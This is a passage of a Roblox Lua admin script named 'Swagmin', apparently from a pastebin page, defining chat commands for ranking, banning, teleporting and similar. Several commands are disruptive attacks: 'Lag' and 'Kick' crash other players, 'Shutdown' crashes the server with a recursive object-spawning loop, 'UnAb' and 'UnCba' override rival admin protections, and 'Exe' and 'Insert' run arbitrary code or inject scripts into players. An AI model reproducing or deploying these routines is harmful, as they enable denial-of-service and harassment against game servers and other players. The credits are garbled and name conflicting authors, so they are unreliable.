  1567.     end
  1568. end)
  1569.  
  1570. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1571.     local PlrTab = getPlayer(Speaker, Msg)
  1572.     if #PlrTab > 0 then
  1573.         for _,v in pairs(PlrTab) do
  1574.             ypcall(function()
  1575.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1576.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1577.             end)
  1578.         end
  1579.     end
  1580. end)
  1581.  
  1582. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1583.     local PlrTab = getPlayer(Speaker, Msg)
  1584.     if #PlrTab > 0 then
  1585.         for _,v in pairs(PlrTab) do
  1586.             ypcall(function()
  1587.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1588.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1589.             end)
  1590.         end
  1591.     end
  1592. end)
  1593.  
  1594. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1595.     local Worked = false
  1596.     for _,v in pairs(Work:GetChildren()) do
  1597.         if string.find(v.Name:lower(), Msg:lower()) then
  1598.             if v:IsA("Script") or v:IsA("LocalScript") then
  1599.                 v.Disabled = true
  1600.                 v:Destroy()
  1601.                 Worked = true
  1602.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1603.             end
  1604.         end
  1605.     end
  1606.     if Worked == false then
  1607.         Ping("Script Not Found", Speaker, 5)
  1608.     end
  1609. end)
  1610.  
  1611. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1612.     Dismiss(Speaker)
  1613.     local AllScripts = {}
  1614.     for _,v in pairs(Work:GetChildren()) do
  1615.         if v:IsA("Script") then
  1616.             table.insert(AllScripts, v.Name)
  1617.         end
  1618.     end
  1619.     if #AllScripts > 0 then
  1620.         for _,v in pairs(AllScripts) do
  1621.             Ping(v, Speaker)
  1622.         end
  1623.     else
  1624.         Ping("No Scripts Found", Speaker, 5)
  1625.     end
  1626. end)
  1627.  
  1628. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1629.     Dismiss(Speaker)
  1630.     local LocalScripts = {}
  1631.     for _,v in pairs(All()) do
  1632.         ypcall(function()
  1633.             for _,x in pairs(v.Character:GetChildren()) do
  1634.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1635.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1636.                 end
  1637.             end
  1638.         end)
  1639.         ypcall(function()
  1640.             for _,x in pairs(v.Backpack:GetChildren()) do
  1641.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1642.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1643.                 end
  1644.             end
  1645.         end)
  1646.         ypcall(function()
  1647.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1648.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1649.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1650.                 end
  1651.             end
  1652.         end)
  1653.     end
  1654.     if #LocalScripts > 0 then
  1655.         for _,v in pairs(LocalScripts) do
  1656.             Ping(v, Speaker)
  1657.         end
  1658.     else
  1659.         Ping("No Local Scripts Found", Speaker, 5)
  1660.     end
  1661. end)
  1662.  
  1663. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1664.     local Split = GetSplit(Msg)
  1665.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1666.     local ScriptName = Msg:sub(Split + 1)
  1667.     local FoundLocal = false
  1668.     for _,name in pairs(PlrTab) do
  1669.         ypcall(function()
  1670.             for _,v in pairs(name.Character:GetChildren()) do
  1671.                 if string.find(v.Name:lower(), ScriptName) then
  1672.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1673.                         v.Disabled = true
  1674.                         v:Destroy()
  1675.                         FoundLocal = true
  1676.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1677.                     end
  1678.                 end
  1679.             end
  1680.         end)
  1681.         ypcall(function()
  1682.             for _,v in pairs(name.Backpack:GetChildren()) do
  1683.                 if string.find(v.Name:lower(), ScriptName) then
  1684.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1685.                         v.Disabled = true
  1686.                         v:Destroy()
  1687.                         FoundLocal = true
  1688.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1689.                     end
  1690.                 end
  1691.             end
  1692.         end)
  1693.         ypcall(function()
  1694.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1695.                 if string.find(v.Name:lower(), ScriptName) then
  1696.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1697.                         v.Disabled = true
  1698.                         v:Destroy()
  1699.                         FoundLocal = true
  1700.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1701.                     end
  1702.                 end
  1703.             end
  1704.         end)
  1705.         if FoundLocal == false then
  1706.             Ping("Local Script Not Found", Speaker, 5)
  1707.         end
  1708.     end
  1709. end)
  1710.  
  1711. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1712.     for _,v in pairs(game:GetChildren()) do
  1713.         ypcall(function()
  1714.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1715.                 for _,a in pairs(v:GetChildren()) do
  1716.                     ypcall(function()
  1717.                         a:Destroy()
  1718.                     end)
  1719.                 end
  1720.             elseif v.Name == "Players" then
  1721.                 for _,plr in pairs(v:GetPlayers()) do
  1722.                     Clear(plr)
  1723.                 end
  1724.             end
  1725.         end)
  1726.     end
  1727.     Clean()
  1728.     Fixl()
  1729.     Ping("Fully Cleaned", Speaker, 5)
  1730. end)
  1731.  
  1732. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1733.     LClean()
  1734.     Fixl()
  1735.     Ping("Lightly Cleaned", Speaker, 5)
  1736. end)
  1737.  
  1738. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1739.     local PlrTab = getPlayer(Speaker, Msg)
  1740.     if #PlrTab > 0 then
  1741.         for _,v in pairs(PlrTab) do
  1742.             ypcall(function()
  1743.                 v:LoadCharacter()
  1744.                 Ping("Reset "..v.Name, Speaker, 5)
  1745.             end)
  1746.         end
  1747.     end
  1748. end)
  1749.  
  1750. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1751.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1752.     if Work:findFirstChild("Base") then
  1753.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1754.     else
  1755.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1756.     end
  1757.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1758. end)
  1759.  
  1760. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1761.     local PlrTab = getPlayer(Speaker, Msg)
  1762.     if #PlrTab > 0 then
  1763.         for _,v in pairs(PlrTab) do
  1764.             ypcall(function()
  1765.                 v.Character.Torso.Anchored = true
  1766.                 Ping("Froze "..v.Name, Speaker, 5)
  1767.             end)
  1768.         end
  1769.     end
  1770. end)
  1771.  
  1772. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1773.     local PlrTab = getPlayer(Speaker, Msg)
  1774.     if #PlrTab > 0 then
  1775.         for _,v in pairs(PlrTab) do
  1776.             ypcall(function()
  1777.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1778.                     ypcall(function()
  1779.                         v.Anchored = false
  1780.                     end)
  1781.                 end
  1782.                 Ping("Thawed "..v.Name, Speaker, 5)
  1783.             end)
  1784.         end
  1785.     end
  1786. end)
  1787.  
  1788. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1789.     local PlrTab = getPlayer(Speaker, Msg)
  1790.     if #PlrTab > 0 then
  1791.         for _,v in pairs(PlrTab) do
  1792.             ypcall(function()
  1793.                 Instance.new("ForceField", v.Character)
  1794.             end)
  1795.         end
  1796.     end
  1797. end)
  1798.  
  1799. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1800.     local PlrTab = getPlayer(Speaker, Msg)
  1801.     if #PlrTab > 0 then
  1802.         for _,v in pairs(PlrTab) do
  1803.             ypcall(function()
  1804.                 RemObj(v.Character, "ForceField")
  1805.             end)
  1806.         end
  1807.     end
  1808. end)
  1809.  
  1810. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1811.     local Split = GetSplit(Msg)
  1812.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1813.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1814.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1815.         for i,v in pairs(PlrTab) do
  1816.             ypcall(function()
  1817.                 for _,v2 in pairs(PlrTab2) do
  1818.                     ypcall(function()
  1819.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1820.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1821.                     end)
  1822.                 end
  1823.             end)
  1824.         end
  1825.     end
  1826. end)
  1827.  
  1828. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1829.     MakeExplorer(Speaker)
  1830. end)
  1831.  
  1832. Command("Info", 0, "Shows Information About Swagmin", function(Msg, Speaker)
  1833.     wait()
  1834.     Dismiss(Speaker)
  1835.     NumBanned = 0
  1836.     NumCmds = 0
  1837.     for i = 1, #Rankings do
  1838.         if Rankings[i].Rank < 0 then
  1839.             NumBanned = NumBanned + 1
  1840.         end
  1841.     end
  1842.     for i,v in pairs(Commands) do
  1843.         NumCmds = NumCmds + 1
  1844.     end
  1845.     Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1846.     Ping("Swagmin Admin Created By: Fl¬ip¬fl¬op¬84¬21", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1847.     Ping("Date Started: 18th May 2013", Speaker)
  1848.     Ping("Your ID: "..Speaker.userId, Speaker)
  1849.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1850.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1851.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1852.     Ping("ShowGarbage", Speaker)
  1853. end)
  1854.  
  1855. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1856.     Dismiss(Speaker)
  1857.     for i,v in pairs(All()) do
  1858.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1859.     end
  1860. end)
  1861.  
  1862. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1863.     local Split = GetSplit(Msg)
  1864.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1865.     local Speed = tonumber(Msg:sub(Split + 1))
  1866.     for _,v in pairs(PlrTab) do
  1867.         ypcall(function()
  1868.             v.Character.Humanoid.WalkSpeed = Speed
  1869.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1870.         end)
  1871.     end
  1872. end)
  1873.  
  1874. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1875.     local RemoveAB = Instance.new("StringValue")
  1876.     RemoveAB.Name = "CBA Attachment"
  1877.     RemoveAB.Value = [[CBA.override=true;]]
  1878.     RemoveAB.Parent = Work
  1879.     Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1880. end)
  1881.  
  1882. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1883.     Dismiss(Speaker)
  1884.     for i,v in pairs(Injected) do
  1885.         Ping(i, Speaker)
  1886.     end
  1887. end)
  1888.  
  1889. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1890.     local RemoveCBA = Instance.new("StringValue")
  1891.     RemoveCBA.Name = "CBA Attachment"
  1892.     RemoveCBA.Value = [[CBA.remove = false]]
  1893.     RemoveCBA.Parent = Work
  1894.     Ping("Removed All CBA Admins", Speaker, 5)
  1895. end)
  1896.  
  1897. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1898.     local function BufferOverflow(object)
  1899.         object.DescendantAdded:connect(BufferOverflow)
  1900.         Instance.new("IntValue", object)
  1901.     end
  1902.     BufferOverflow(Game)
  1903. end)
  1904.  
  1905. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1906.     local PlrTab = getPlayer(Speaker, Msg)
  1907.     if #PlrTab > 0 then
  1908.         for _,v in pairs(PlrTab) do
  1909.             ypcall(function()
  1910.                 Crash1(v)
  1911.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1912.             end)
  1913.         end
  1914.     end
  1915. end)
  1916.  
  1917. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1918.     local PlrTab = getPlayer(Speaker, Msg)
  1919.     if #PlrTab > 0 then
  1920.         for _,v in pairs(PlrTab) do
  1921.             ypcall(function()
  1922.                 ChangeRank(v, -1)
  1923.             end)
  1924.         end
  1925.     end
  1926. end)
  1927.  
  1928. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1929.     local PlrTab = getPlayer(Speaker, Msg)
  1930.     if #PlrTab > 0 then
  1931.         for _,v in pairs(PlrTab) do
  1932.             ypcall(function()
  1933.                 ChangeRank(v, -2)
  1934.             end)
  1935.         end
  1936.     end
  1937. end)
  1938.  
  1939. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1940.     local PlrTab = getPlayer(Speaker, Msg)
  1941.     if #PlrTab > 0 then
  1942.         for _,v in pairs(PlrTab) do
  1943.             ypcall(function()
  1944.                 ChangeRank(v, -3)
  1945.             end)
  1946.         end
  1947.     end
  1948. end)
  1949.  
  1950. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1951.     ypcall(function()
  1952.         local PlrTab = getPlayer(Speaker, Msg)
  1953.         if #PlrTab > 0 then
  1954.             for _,v in pairs(PlrTab) do
  1955.                 ypcall(function()
  1956.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1957.                 end)
  1958.             end
  1959.         end
  1960.         local PlrName = ChangeRank(Msg, 0)
  1961.         Ping("Un-Banned "..PlrName, Speaker, 5)
  1962.     end)
  1963. end)
  1964.  
  1965. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1966.     Dismiss(Speaker)
  1967.     Ping("Commands", Speaker, nil, function()
  1968.         Dismiss(Speaker.Name)
  1969.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1970.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1971.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1972.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1973.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1974.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1975.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1976.         Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1977.     end)
  1978.     Ping("Players", Speaker, nil, function()
  1979.         ListPlayers(Speaker)
  1980.     end)
  1981. end)
  1982.  
  1983. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  1984.     ListPlayers(Speaker)
  1985. end)
  1986.  
  1987. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  1988.     local Func,Error = loadstring(Msg)
  1989.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  1990.     getfenv(Func).Speaker = Speaker
  1991.     if Error == nil then
  1992.         coroutine.wrap(function()
  1993.             Func()
  1994.         end)()
  1995.         Ping("Executed Script!", Speaker, 5)
  1996.     else
  1997.         Ping(Error, Speaker, 10)
  1998.     end
  1999. end)
  2000.  
  2001. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2002.     if LS ~= nil then
  2003.         local Split = GetSplit(Msg)
  2004.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2005.         local LocalSource = Msg:sub(Split + 1)
  2006.         if #PlrTab > 0 then
  2007.             for _,v in pairs(PlrTab) do
  2008.                 local Inserted = LS:Clone()
  2009.                 Inserted.Disabled = true
  2010.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2011.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2012.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2013.                 end
  2014.                 Inserted[LSSource].Value = LocalSource
  2015.                 Inserted.Disabled = false
  2016.             end
  2017.         end
  2018.     else
  2019.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2020.     end
  2021. end)
  2022.  
  2023. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2024.     Msg = tostring(Msg)
  2025.     Ping(Msg, Speaker)
  2026. end)
  2027.  
  2028. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2029.     Dismiss(Speaker)
  2030.     for i,v in pairs(getfenv(1)) do
  2031.         ypcall(function()
  2032.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2033.         end)
  2034.     end
  2035. end)
  2036.  
  2037. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2038.     Dismiss()
  2039.     Removed = true
  2040.     for i,v in pairs(getfenv(1)) do
  2041.         getfenv(1)[i] = nil
  2042.     end
  2043.     script.Disabled = true
  2044. end)
  2045.  
  2046. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2047.     local Split = GetSplit(Msg)
  2048.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2049.     local Rank = tonumber(Msg:sub(Split + 1))
  2050.     if #PlrTab > 0 then
  2051.         for _,v in pairs(PlrTab) do
  2052.             if v.Name ~= Owner then
  2053.                 ChangeRank(v, Rank)
  2054.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2055.             end
  2056.         end
  2057.     end
  2058. end)
  2059.  
  2060. --This Admin (Swagmin) Was Created By Derek1017 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement